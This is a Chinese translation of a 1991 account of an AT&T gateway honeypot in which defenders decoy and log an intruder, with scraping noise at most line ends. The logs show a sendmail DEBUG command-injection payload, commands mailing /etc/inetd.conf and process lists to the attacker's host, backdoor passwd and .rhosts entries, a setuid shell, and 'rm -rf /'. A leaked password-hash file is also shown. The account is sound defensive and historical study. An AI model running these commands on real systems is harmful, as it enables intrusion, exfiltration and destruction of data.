在1991年1月7号,一个黑客,他确信自己发现了我们的Internet网关计算机的sendmail的一个DUBUG漏洞的黑客,试图获得我们的password文件,我“送”给他了一份。
0 ?5 N, [& J" Q3 S; O& ~' y在几个月中,我们引诱这名黑客作各种快乐的尝试,以便于我们发现他的位置和使用的破解技术。这篇文章是对该黑客的“成功”和失败,我们使用的诱饵和陷阱的详细记录2 i3 c7 ~# w9 Q
我们的结论是我们所遇到的这个黑客拥有大量的时间,固执异常,并持有一份优秀的系统漏洞列表。一旦他获得了系统的一个正式注册身份,使用那些漏洞他可以轻易的攻破uucp和bin帐号,然后是root。我们的黑客对军事目标和可以帮助他中转其连接的新机器很感兴趣。
U) Q1 e, K: }9 r `# `* l简介
# [" N& s) k& r& W! A我们的安全Internet网关是1990年1月开始使用的。对于这个整个城堡的大门,我想知道它所可能遭到的攻击会有多么频繁。我明白Internet上有一些喜欢使用“暴力”的人,那么他们是谁?他们会攻击什么地方?会多么频繁?他们经常尝试系统的那些漏洞?8 }$ I7 h) [1 x. G
事实上,他们没有对AT&T作出破坏,甚至很少光顾我们的这扇大门,那么,最终的乐趣只有如此,引诱一个黑客到一个我们设计好的环境中,记录下来他的所有动作,研究其行为,并提醒他的下一个目标作出防范。; @" u0 |, z9 Z$ I0 N' n i
大多数Internet上的工作站很少提供工具来作这些事情,商业系统检测并报告一些问题,但是它们忽略了很多我们想要的东西。我们的网关每天产生10兆的日志文件。但人们对于日志记录以外的服务的攻击呢?: n. [+ q# ~9 k" ?* \/ u
我们添加了一些虚假的服务在系统上,同时我编写了一个script文件用来检索每天的日志。我们检查以下几点:
' O2 [( T& h! k& q! ]FTP :检索的工具会报告每天所有注册和试图注册的用户名。它还会报告用户对tilde的使用(这是个老版本的ftp的漏洞)、所有对ftp目录的/etc/passwd和/etc/group的存取以及对pub目录下完整文件列表的获取。获取passwd的人通常用它来获得系统的正式用户的注册名称,然后攻击、破解其密码。有时有些系统的管理员会将系统的真实passwd文件放在ftp的/etc目录下,我们伪造了一个passwd文件,它的密码被破解后是“why are you wasting your time.”; K6 o j5 w5 e' g
Telnet / login :所有试图login的动作都被记录了下来。这很容易就可以看出有些人在尝试很多帐号,或强力攻击某一个帐号。因为我们这个Internet的大门除了“警卫”外没有什么别的用户,很容易就可以找到问题所在。3 N/ A8 A% m- V: y" N/ a" g9 m
Guest / visitor 帐号:黑客们第一个寻找的就是公用帐号。这些帐号提供了友好的,最轻易的获取几乎系统的所有文件的机会,包括passwd文件。黑客也可以通过获取/etc/hosts.equiv文件或每个用户的.rhosts文件来获得机器的信任主机列表。我们对于这些帐号的login script文件是这样编写的:
( A' h3 T/ N! C1 |! l7 uexec 2>/dev/null # ensure that stderr doesn't appear' O' g! D7 K2 ]4 T
trap "" 1+ M$ I; L! H" X b0 N8 ]. }
/bin/echo; h, z8 Z# M( j( o9 c
( /bin/echo "Attempt to login to inet with $LOGNAME from $CALLER" |4 Y7 T1 ` H& I& D- A) o
upasname=adm /bin/mail ches dangelo &
5 [0 r* |1 N2 M% n# (notify calling machine's administrator for some machines...). U% L) S* f$ ^; J" s, @* U
# (finger the calling machine...)' E, ]4 u1 r! N, \: h. h/ \# `$ m
) 2>&1 | mail ches dangelo
8 \7 x) N3 @/ X2 w; k/bin/echo "/tmp full"( `, @! I3 z4 ^
sleep 5 # I love to make them wait....
3 z& ?. t+ Q8 j/bin/echo "/tmp full"! o% f& `+ O$ h \( X! L
/bin/echo "/tmp full"
7 G$ D' S, m G8 R& v/bin/echo9 h2 }1 K" }9 e$ M# d5 z/ { |2 I
sleep 60 # ... and simulating a busy machine is useful
% i* x. B) J; S我们必须小心以便不让调用者看到系统的标志出错信息(如果一旦我们编写的script有误)。注意$CALLER是在另一端的主机或IP地址。通过修改telnetd或login,它将可以通过环境变量来获取。0 Y% |. d3 R" r# w: O
SMTP DEBUG : 这个命令提供了两个守候sendmail的漏洞的陷阱。虽然几乎所有的产品出售商都清除了这个漏洞,但偶尔仍有黑客尝试它。这个漏洞允许外部的使用者使用一段以root权限执行的script。当有些人尝试这个漏洞时,我就获得了他尝试的script代码。
/ H. |! x: X) ~ Y1 R* G7 tFinger :Finger提供了大量有用的信息给黑客:帐号名,该帐号的最后一次使用时间,以及一些可以用来猜测密码的信息。由于我们的组织不允许提供这些信息给别人,我们置入了一个程序,在finger了fingerd的调用者后拒绝figner请求。(当然我们会避免对来自自己的finger信息的死循环)。报告表明每天有数以十计的finger请求,其中大部分是合法的。
: B& N m) [- Y6 U SRlogin / rsh :这些命令都是基于一些无条件信任的系统,我们的机器并不支持。但我们会finger使用这些命令的用户,并将他的尝试和用户信息等生成报告。, O, B* [0 p# A- _3 p
上述很多探测器都使用figner命令来查明调用的机器和使用者。
* E; m6 Q: ]3 i; o5 |5 f# v7 k当一个尝试显示为有不合法企图时,我就发出这样一条消息:
" Z+ ?' @; ?/ n/ U2 O. Cinetfans postmaster@sdsu.edu
8 S$ h- c( j/ C& rYesterday someone from math.sdsu.edu fetched the /etc/passwd file$ v. P6 U; A4 j0 m
from our FTP directory. The file is not important, but these probes
* ~5 D3 B$ W, _+ ?/ [) }are sometimes performed from stolen accounts.+ W4 f* I+ T8 k5 [( U+ t0 _; U( z8 V
Just thought you'd like to know.) I5 Y% o `; d R+ O) g( t
Bill Cheswick" E& t9 E1 X: Y2 \1 P4 v) V
这是一个典型的信件,它被发往“inetfans”,这些人属于计算机紧急响应小组(Computer Emergency Response Team , CERT)、某些兴趣小组或对某些站点感兴趣的人。
9 M; i) E9 K9 e. k很多系统管理员很重视这些报告,尤其是军事站点。通常,系统管理员在解决这些问题上都非常合作。对这些信件的反应包括道歉,拒绝信件,关闭帐号以及沉默等等。当一个站点开来愿意支持黑客们的活动时,我们会考虑拒收来自该站的所有信息包。
1 w6 {! S6 t% P0 M2 I不友好的行动
' R% x) z" G6 g0 P我们从1990年1月设置好这些探测器。统计表明被攻击率在每年学校的假期期间会上升。我们的被攻击率可能比其他站点高,因为我们是广为人知的,并被认为是“电话公司”。
) D+ ~( X0 J) A! v* W当一个远程使用者取走passwd文件时,并不是所有的人都出于恶意的目的。有时他们只是想看看是否传输能正常工作。
' A8 U0 t* [* Y: e4 W19:43:10 smtpd[27466]: <--- 220 inet.att.com SMTP/ N# k3 G' Y# u
19:43:14 smtpd[27466]: -------> debug
8 {2 P9 D* u5 d8 ?2 Y. W) _/ ^6 H1 X19:43:14 smtpd[27466]: DEBUG attempt O: B E; P$ v7 v+ Z: p" H
19:43:14 smtpd[27466]: <--- 200 OK
9 ]5 u# n7 q6 o: h+ Q2 p19:43:25 smtpd[27466]: -------> mail from:; K/ A5 ~0 A: c# }
19:43:25 smtpd[27466]: <--- 503 Expecting HELO9 D9 e" b6 }5 R5 _: s
19:43:34 smtpd[27466]: -------> helo" c; y) h3 |5 Y1 O c
19:43:34 smtpd[27466]: HELO from
& ^6 b9 Z7 L$ b2 q" v19:43:34 smtpd[27466]: <--- 250 inet.att.com
5 o1 }- W3 U" M+ Q+ t19:43:42 smtpd[27466]: -------> mail from:
1 e" D- J0 V8 p, _6 n Y. b19:43:42 smtpd[27466]: <--- 250 OK: B6 A8 `" l, ~7 _2 p% F
19:43:59 smtpd[27466]: -------> rcpt to: 19:43:59 smtpd[27466]: <--- 501 Syntax error in recipient name
e3 {# c- M! Y4 x& S. ]19:44:44 smtpd[27466]: -------> rcpt to:<|sed -e '1,/?$/'d | /bin/sh ; exit 0">
7 C* K( l0 _4 q$ t* a# Y8 R19:44:44 smtpd[27466]: shell characters: |sed -e '1,/?$/'d | /bin/sh ; exit 0"3 l. L) P: }$ M
19:44:45 smtpd[27466]: <--- 250 OK$ t3 P3 p! q- ^. A) M" o0 F9 j4 Z
19:44:48 smtpd[27466]: -------> data( }: _$ `* [( X' l; \
19:44:48 smtpd[27466]: <--- 354 Start mail input; end with .& }( S+ C E! b, S
19:45:04 smtpd[27466]: <--- 250 OK7 P) @7 j, {5 O% Y" H
19:45:04 smtpd[27466]: /dev/null sent 48 bytes to upas.security; K6 n6 t9 ?: ^ L! o: Z$ Y
19:45:08 smtpd[27466]: -------> quit" p9 D3 ]$ U3 D
19:45:08 smtpd[27466]: <--- 221 inet.att.com Terminating
0 d @; z' g* `& `1 a19:45:08 smtpd[27466]: finished.
( ?- K8 |- C, V/ U: q这是我们对SMTP过程的日志。这些看来很神秘的日志通常是有两个邮件发送器来相互对话的。在这个例子中,另一端是由人来键入命令。他尝试的第一个命令是DEBUG。当他接收的“250 OK”的回应时一定很惊奇。关键的行是“rcpt to :”。在尖括号括起的部分通常是一个邮件接收器的地址。这里它包含了一个命令行。Sendmail在DEBUG模式下用它来以ROOT身份执行一段命令。即:- \3 \' r# L+ T; z C# [/ a
sed -e '1,/?$/'d | /bin/sh ; exit 0"
: B) d# b, k5 W$ n它剥去了邮件头,并使用ROOT身份执行了消息体。这段消息邮寄给了我,这是我记录下来的,包含时间戳:
$ \( N3 ^% _2 V- n* T( u) g19:45 mail adrian@embezzle.stanford.edu 19:51 mail adrian@embezzle.stanford.edu 他希望我们邮寄给他一份我们的passwd文件。大概用来运行一些passwd破解程序。所有这些探测结果都来自EMBEZZLE.STANFORD.EDU的一个adrian用户。他在美国空袭伊拉克半个小时后公然作出敌意反应。我怀疑是萨达姆雇佣了一两个黑客。我恰巧在ftp的目录下有一个假的passwd文件,就用root身份给Stanford发了过去。
* N- F5 U# `) X9 u L' }$ P1 G6 Q/ t第二个早晨,我听到了来自Stanford的消息:他们知道了这件事,并正在发现问题所在。他们说adrian这个帐号被盗用了。$ W9 _1 }1 X6 {5 E
接着的一个星期天我接到了从法国发来的一封信:2 H" U2 O/ W4 K
To: root@research.att.com, C: x/ R" I- ^, m
Subject: intruder* Z6 @& k3 x5 r0 e6 B0 s# c
Date: Sun, 20 Jan 91 15:02:53 +0100
& ~8 S4 l9 R3 ~/ o, f% {% f+ xI have just closed an account on my machine1 k% y. L6 @- l: ^% H9 J
which has been broken by an intruder coming from embezzle.stanford.edu. He; k7 H9 H H$ g. c3 i7 o2 t1 q
(she) has left a file called passwd. The contents are:$ }1 ^ `8 R- a5 I. |
------------>
2 ^3 P$ G# y! s9 r. K6 o4 y G9 yFrom root@research.att.com Tue Jan 15 18:49:13 1991. w+ l N! m' i* J' n, B, o
Received: from research.att.com by embezzle.Stanford.EDU (5.61/4.7);
. z" k9 K- b2 H8 p" { PTue, 15 Jan 91 18:49:12 -0800
, v E a1 Y) G, e' N* h% jMessage-Id: <9101160249.AA26092@embezzle.Stanford.EDU>
; t H0 F+ Y# JFrom: root@research.att.com
" }5 J% v& j$ Y6 K4 J ODate: Tue, 15 Jan 91 21:48 EST
9 O, A* p) w I4 k" g v7 qTo: adrian@embezzle.stanford.edu; N; h1 k5 C/ ? u: T
Root: mgajqD9nOAVDw:0:2:0000-Admin(0000):/:
, |( V; F. t0 t+ |* a6 W) EDaemon: *:1:1:0000-Admin(0000):/:9 B1 _7 w! m) N
Bin: *:2:2:0000-Admin(0000):/bin:
/ j" b: `9 E4 hSys: *:3:3:0000-Admin(0000):/usr/v9/src:
$ P6 d) _, S" e5 L) aAdm: *:4:4:0000-Admin(0000):/usr/adm:
6 a3 p4 E9 m% O$ @: sUucp: *:5:5:0000-uucp(0000):/usr/lib/uucp:, x/ \$ J+ u) ~6 B
Nuucp: *:10:10:0000-uucp(0000):/usr/spool/uucppublic:/usr/lib/uucp/uucico
% H6 O+ V+ l* h! }, J, nFtp: anonymous:71:14:file transfer:/:no soap6 k; A1 o7 O7 N+ X( _1 M5 d
Ches: j2PPWsiVal..Q:200:1:me:/u/ches:/bin/sh
) f. M: }9 `# l' }5 ]2 b7 ^Dmr: a98tVGlT7GiaM:202:1:Dennis:/u/dmr:/bin/sh. |9 E5 F6 e& N+ A
Rtm: 5bHD/k5k2mTTs:203:1:Rob:/u/rtm:/bin/sh. }9 d6 A c- g1 a& w$ l
Berferd: deJCw4bQcNT3Y:204:1:Fred:/u/berferd:/bin/sh! p$ Y4 J6 d% x- e9 m6 b' _7 S
Td: PXJ.d9CgZ9DmA:206:1:Tom:/u/td:/bin/sh. \* p. W- `6 ?' x+ V1 S7 |9 B1 x+ X
Status: R
0 I, \7 v9 h+ P6 s------------Please let me know if you heard of him.* x2 G" e1 }: ]# ~
陪伴Berferd的一个夜晚
+ }; e- H, N, z6 J# U' N1月20号,星期天晚上,我的终端报告有安全敏感事件。
) l4 f( H* B/ n; m# L22:33 finger attempt on berferd u1 B2 C4 c/ V
几分钟后,有人试图使用DEBUG来用ROOT身份执行命令,他试图修改我们的passwd文件!
+ ~2 O2 Q; `/ `22:36 echo "beferdd::300:1:maybe Beferd:/:/bin/sh" >>/etc/passwd
- U8 b4 t3 m0 ccp /bin/sh /tmp/shell
( h; M# i0 R8 M7 G( E* S z3 c$ Ochmod 4755 /tmp/shell( o _! H$ N7 I
连接同样来自EMBEZZLE.STANFORD.EDU。
; d4 j" m, x) @$ G) s4 F. B我该怎么作呢?我不希望他真的能获得一个网关的帐号,为什么引狼入室呢?那样我将得不到他的键盘活动。. f3 ?/ |2 Y* r) j9 L3 d
我应该继续看看他关注的其他事情,或许我可以手工模拟一下操作系统,这意味着我必须让他以为机器速度很慢,因为我无法和MIPS M/120相比。同时意味着我必须模拟一个一致的操作系统。 u# I! k& s: @" Y% ?5 n
我已经有一个要求了,因为他已经持有了一份passwd。
% b. \* p, \* @# `. U" o0 U! i9 {0 Q决定一:ftp的passwd是一个真实的passwd。
# A# k$ J: }# r' r0 C4 q. w还有另外的两个:, c$ k! X. H8 M0 b
决定二:网关机器管理极差。(有DEBUG漏洞,ftp目录里有passwd)。+ t0 I8 i) q1 [5 M( a8 ], z9 ]& E" N7 ?' k
决定三:网关机器极慢。
) A8 e4 F# [+ k, d% \因此我决定让他以为他已经改变了passwd文件,但却不急于让他进来。我必须生成一个帐号,但却使它不可操作。我应该怎么办?
& h& L ~" d t: [: S决定四:我的shell并没有放在/bin下,它放在其他地方。这样,他进来后(让他认为passwd已经改动了),没有可运行的shell。
- O+ k+ D; N. I) ]这个决定很愚蠢,但我不会因此损失任何东西。我写了一个script,生成了一个临时帐号b,当它被调用时它会给我发信,调用者将看到如下信息:
5 v4 |( @; f% R# v( H5 M5 ^RISC/os (inet)
. v/ ?! f9 m. N7 w$ C3 K3 Vlogin: b; P% c# P9 x G) y. o/ [# c3 ]5 F% f A
RISC/os (UMIPS) 4.0 inet1 v! e9 g/ K6 [
Copyright 1986, MIPS Computer Systems
5 L& L5 s- H+ g! H( l/ g1 \All Rights Reserved" E) X3 J. \. H- l
Shell not found i+ A3 H9 P& @; t* A0 M
我把b帐号在实际passwd文件中改成了beferd,当我作完后,他在此尝试:
8 F+ b7 L8 n" ~: f/ W22:41 echo "bferd ::301:1::/:/bin/sh" >> /etc/passwd! j7 p/ H- D# g# B& w
他的另一个试图添加到passwd文件的尝试。事实上,在我为bferd完成新的配置之前他开始急躁了:
! S/ K: W* w2 I/ D22:45 talk adrian@embezzle.stand?Hford.edu4 @2 o* z2 E0 {) f* Y( j& c! ^: A
talk adrian@embezzle.stanford.edu7 t% C4 ?( k2 @7 S% d+ I
决定五:我们没有talk这个命令。
0 s7 ?" ~; e2 n/ T. x- q他选择了berferd这个帐号:3 ]( G# T) z4 A; N( O& q
22:48 Attempt to login to inet with bferd from Tip-QuadA.Stanford.EDU* D9 ~1 a/ X6 A5 s+ @+ u
22:48 Attempt to login to inet with bferd from Tip-QuadA.Stanford.EDU
" u# `5 i0 X! y/ _: b22:49 Attempt to login to inet with bferd from embezzle.Stanford.EDU
# \4 o) R; |: E" O& U% U+ e22:51 (Notified Stanford of the use of Tip-QuadA.Stanford.EDU), U5 Z. W( k6 l
22:51 Attempt to login to inet with bferd from embezzle.Stanford.EDU4 T0 r/ y R3 N( h) s H. T
22:51 Attempt to login to inet with bferd from embezzle.Stanford.EDU; i* |) a2 B2 G+ N4 p* u
22:55 echo "bfrd ::303:1::/tmp:/bin/sh" >> /etc/passwd$ R3 P" ~3 \5 Y1 F" }9 h6 W
22:57 (Added bfrd to the real password file.)9 {8 n5 M& [" N5 L
22:58 Attempt to login to inet with bfrd from embezzle.Stanford.EDU' Y2 p. l/ O# L/ V ?0 Z
22:58 Attempt to login to inet with bfrd from embezzle.Stanford.EDU6 W6 E0 z1 a5 Y' H9 F
23:05 echo "36.92.0.205" >/dev/null
4 a8 g8 h q9 t+ x+ D( Cecho "36.92.0.205 embezzle.stanford.edu">>/etc./?H?H?H9 W$ }- z' K! X1 [7 I9 {8 t
23:06 Attempt to login to inet with guest from rice-chex.ai.mit.edu8 H# q; ]% x6 f/ d
23:06 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts
9 Q2 @' c( f4 R8 h) j23:08 echo "embezzle.stanford.edu adrian">>/tmp/.rhosts
& p8 r7 s* T4 z% s/ R; y6 J很显然他希望能够rlogin到我们的网关,这需要一些本地文件的特定设置。我们并没有作rlogin的检测。
) h' p( k: U2 Q0 z/ P, Y这时他又有新的动作:
. C8 W( i- L4 \* W23:09 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
" [. u: o; o4 r B. D23:10 Attempt to login to inet with bfrd from embezzle.Stanford.EDU" j9 R$ X; h0 s2 U
23:14 mail adrian@embezzle.stanford.edu < /etc/inetd.conf' a7 d+ P, Z5 R% Q
ps -aux|mail adrian@embezzle.stanford.edu
3 {% _6 x+ L4 u* U0 U在rlogin失败后,他希望能得到我们的inetd.conf文件来查看我们究竟启动了什么服务。我不想让他看到真正的inetd.conf,但伪造一个又非常困难。
) M; J- ^1 `% m! _) [" z决定七:网关机器运行不稳定,时有不确定事件。9 Q: J7 M, T7 W+ o" r z
23:28 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts! Y; C) k1 {( d) n5 Z& X: X, q" `: N
echo "embezzle.stanford.edu adrian" >> /tmp/.rhosts' A% |. P# t5 P0 s. d
ps -aux|mail adrian@embezzle.stanford.edu
$ A/ i3 Y$ F, Q+ tmail adrian@embezzle.stanford.edu < /etc/inetd.conf9 i( p" h$ i" x
我不希望他看到ps的结果,幸运的是,他的Berkeley系统的ps命令在我的System V机器上是无效的。, U* k" s& b+ C( y7 j$ L# }
这时我通知了CERT,这时一起严重的攻击事件,在Stanford也应该有追踪这些请求的人。这时,活动又转到ftp上来:* k0 x8 O0 C! S9 B( s7 y6 ^
Jan 20 23:36:48 inet ftpd[14437]: <--- 220 inet FTP server
7 z# q! l# @% J6 [(Version 4.265 Fri Feb 2 13:39:38 EST 1990) ready.
0 K9 C/ \* I4 ^) PJan 20 23:36:55 inet ftpd[14437]: -------> user bfrd?M7 Y- y& J2 x6 c
Jan 20 23:36:55 inet ftpd[14437]: <--- 331 Password required for bfrd.* j4 S5 X# w- ~4 @
Jan 20 23:37:06 inet ftpd[14437]: -------> pass?M
( j5 K) x& z G, E9 e+ V$ jJan 20 23:37:06 inet ftpd[14437]: <--- 500 'PASS': command not understood.5 t7 ^& r7 Q2 D" f% |* i. l
Jan 20 23:37:13 inet ftpd[14437]: -------> pass?M) {. M6 R( P; V( w
Jan 20 23:37:13 inet ftpd[14437]: <--- 500 'PASS': command not understood.
0 Z6 j: r* g5 \Jan 20 23:37:24 inet ftpd[14437]: -------> HELP?M
& d0 X% U' \& j$ q* H/ m" {Jan 20 23:37:24 inet ftpd[14437]: <--- 214- The following commands are5 \5 |- \) p) W4 r/ }" e
recognized (* =>'s unimplemented).4 |. a/ Z" F( }) \" e
Jan 20 23:37:24 inet ftpd[14437]: <--- 214 Direct comments to ftp-bugs@inet. O, V/ W3 |' s& Q8 R! @
Jan 20 23:37:31 inet ftpd[14437]: -------> QUIT?M6 @1 J& j& M/ O
Jan 20 23:37:31 inet ftpd[14437]: <--- 221 Goodbye.: Q$ `5 a% s* \8 F) L: l5 E
Jan 20 23:37:31 inet ftpd[14437]: Logout, status 0
" G% u' ^; S, X* H& \. @- vJan 20 23:37:31 inet inetd[116]: exit 14437+ e8 @+ F4 P8 |. J( Z/ ]8 n" s, o
Jan 20 23:37:41 inet inetd[116]: finger request from 36.92.0.205 pid 14454( z; W' p# |( n+ p' t
Jan 20 23:37:41 inet inetd[116]: exit 14454
, r" O! O f3 ^) S/ E& Z" ~1 ^23:38 finger attempt on berferd
! d/ ~! J" q% e" ]' M23:48 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts.equiv# Q8 o4 `. G/ c$ M# {3 _0 Z
23:53 mv /usr/etc/fingerd /usr/etc/fingerd.b
, P* T: E/ e4 y4 ?; mcp /bin/sh /usr/etc/fingerd
6 B4 M& S+ N+ U* G0 [2 O1 r. `3 q决定四已经决定了最后一行的尝试必然失败。因此,他只是破坏了我们模拟的机器上的finger而已,并没有将之替换成一个shell程序。我关闭了实际的fingerd程序。; ^% {1 B) h; F
23:57 Attempt to login to inet with bfrd from embezzle.Stanford.EDU( ]% @2 j. t' V" x( M
23:58 cp /bin/csh /usr/etc/fingerd3 v& M9 f& c- c$ H' W* ?* k6 S& F8 {0 {
我们模拟的机器上csh并不在/bin下,因此这个命令无效。
" `' X- F/ t1 D00:07 cp /usr/etc/fingerd.b /usr/etc/fingerd
. L- Q' Y2 X1 y H8 ~好吧,fingerd现在重新开始工作。Berferd的恢复工作干的不错。& |5 D% c. c$ h. F: C6 z
00:14 passwd bfrt/ q: O$ A/ E8 k: K8 |' z& _4 P
bfrt. E( j; U; o4 a- L! k4 z
bfrt t# h4 B, |& z9 a/ I6 \. b
现在他试图修改password,这永远不会成功,因为passwd的输入是/dev/tty,不是sendmail所执行的shell script。0 U6 T3 p4 h/ w
00:16 Attempt to login to inet with bfrd from embezzle.Stanford.EDU' A+ J! q+ ~( N E+ o+ Q
00:17 echo "/bin/sh" > /tmp/Shell. p# F6 [1 g1 s0 X. a
chmod 755 /tmp/shell, f5 K$ H6 y3 ^% I7 `& m
chmod 755 /tmp/Shell
, [, `! Q4 `! K2 H& M, A- f; u00:19 chmod 4755 /tmp/shell
! g7 {8 n3 m F9 w7 \2 l4 q9 b; R00:19 Attempt to login to inet with bfrd from embezzle.Stanford.EDU J: x& ~3 ?$ y9 o, a8 J
00:19 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
" O+ W$ W5 ^' u9 ]. r$ n/ O! \ D- ?00:21 Attempt to login to inet with bfrd from embezzle.Stanford.EDU" G. p3 x9 v" i' X
00:21 Attempt to login to inet with bfrd from embezzle.Stanford.EDU2 L" F& D: E( F, B
这时我已经很累了。 g! s- ~2 I% q+ I
01:55 rm -rf /&9 p" N+ s. q5 p0 w0 K% {
喔!!太狠了!显然机器的状态让他迷惑,他希望能清除所有的痕迹。有些黑客会保护自己所作的工作,声明自己不作任何破坏。我们的黑客对我们感到疲劳了,因此以此结束。" }8 ^. F% C' c3 y
他继续工作了几分钟,后来放弃:" G! _/ h- j; [' o
07:12 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
- y; s# @' U8 c07:14 rm -rf /&
( M8 L# ~2 n2 N- u0 F0 F( s07:17 finger attempt on berferd# @: L2 ~* m: _; ]0 X' F7 B. |
07:19 /bin/rm -rf /&0 x# A# h, |$ E) j' g* ]3 n
/bin/rm -rf /&
: F- j. k7 j" f" `, ?07:23 /bin/rm -rf /&/ t' S( m+ {1 e
07:25 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
6 G0 b- F! }2 d6 P# h# n& |) _09:41 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
* Q$ u2 @! ]6 B3 F; D; K4 f |